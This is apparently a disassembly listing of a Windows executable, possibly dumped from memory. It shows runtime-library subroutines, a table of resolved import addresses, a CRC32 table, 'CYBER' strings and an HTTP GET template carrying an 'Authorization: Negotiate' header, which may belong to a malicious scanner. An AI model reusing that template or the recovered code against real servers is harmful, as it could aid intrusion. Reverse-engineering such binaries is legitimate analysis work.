		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 28010B9h
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2641167h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]

loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2641167h
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi

loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------

loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------

loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D

loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------

loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax

loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0

loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1

loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C32C
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------

loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05

loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]

loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB5C0
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		call	near ptr 261005Eh
		nop
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------

loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE5C
		push	esi
		push	edi
		call	near ptr 2610810h
		nop
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax

loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DB5C0, eax

loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 261005Eh
		jmp	loc_426DC6
; ---------------------------------------------------------------------------

loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DB374
		mov	[ebp+arg_10], eax

loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 28010B9h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 28010B9h
		nop
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx

loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DB364

loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610810h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------

loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax

loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------

loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h

loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25D0000h, 25E0000h, 25F0000h, 25F068Ch, 2600000h, 2600BAAh
		dd 2600BFAh, 2610000h, 261005Eh, 2610810h, 2620000h, 26204A9h
		dd 262061Bh, 2620D25h, 2620F50h
dword_42703C	dd 2630000h		; DATA XREF: ___:004231D9r
		dd 26300A0h, 26303B2h, 26303C9h, 26304DFh, 2640000h, 2641167h
		dd 2650000h, 26503C1h, 265091Dh, 77E75CB5h
dword_427068	dd 2650939h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2650C44h, 2660000h, 2670000h
dword_427078	dd 2670580h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 2670604h		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 26707EAh
dword_427084	dd 26708DBh		; DATA XREF: sub_4196BC+B9r
		dd 2670E2Eh
dword_42708C	dd 2670E9Dh		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 2680000h		; DATA XREF: ___:loc_4013DCr
		dd 2680317h, 26803E9h
dword_42709C	dd 26804B9h		; DATA XREF: sub_409B12+2r
		db 0CCh
		db 5, 68h, 2
		dd 2680689h
dword_4270A8	dd 2680CD4h		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 2680D1Dh		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 2690000h, 2690B08h
dword_4270B8	dd 2690BBBh		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 26A0000h		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 26B0000h, 26C0000h, 26C04CCh, 26D0000h, 77F7E300h, 77F7E21Fh
		dd 26D0660h, 26D07EDh, 26E0000h, 26E07B3h
dword_4270E8	dd 26F0000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 26F07FEh		; DATA XREF: sub_418293+36r
		dd 26F0A14h, 26F0B29h
dword_4270F8	dd 2700000h		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 2710000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
		dd 2711546h, 2720000h, 2720B03h, 2730000h, 2730820h, 2740000h
		dd 2750000h, 2760000h, 2760C1Bh, 2760F0Ch, 2770000h, 277016Eh
		dd 2770B29h, 2780000h, 2780428h
dword_42713C	dd 27806E6h		; DATA XREF: sub_416F1A+BCr
		dd 2790000h
dword_427144	dd 27A0000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 27A0D17h		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 27B0000h
dword_427150	dd 27B0306h		; DATA XREF: sub_417275+56r
		dd 27B055Dh, 27C0000h, 27D0000h, 27D05DEh, 27D0B79h, 27E0000h
		dd 27E01D7h, 27F0000h, 27F0813h, 2800000h
dword_42717C	dd 28010B9h		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 2810000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 2820000h, 28204A2h, 28209E9h, 2830000h, 2840000h, 2850000h
		dd 2860000h, 2870000h, 2880000h, 2890000h, 28919F9h, 2891A12h
		dd 28A0000h, 28B0000h, 28B01CDh
dword_4271C0	dd 28B0703h		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28B0846h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28B09AFh, 28C0000h, 28C067Bh, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43C544o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43C540o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43C7BCo
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43C98Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
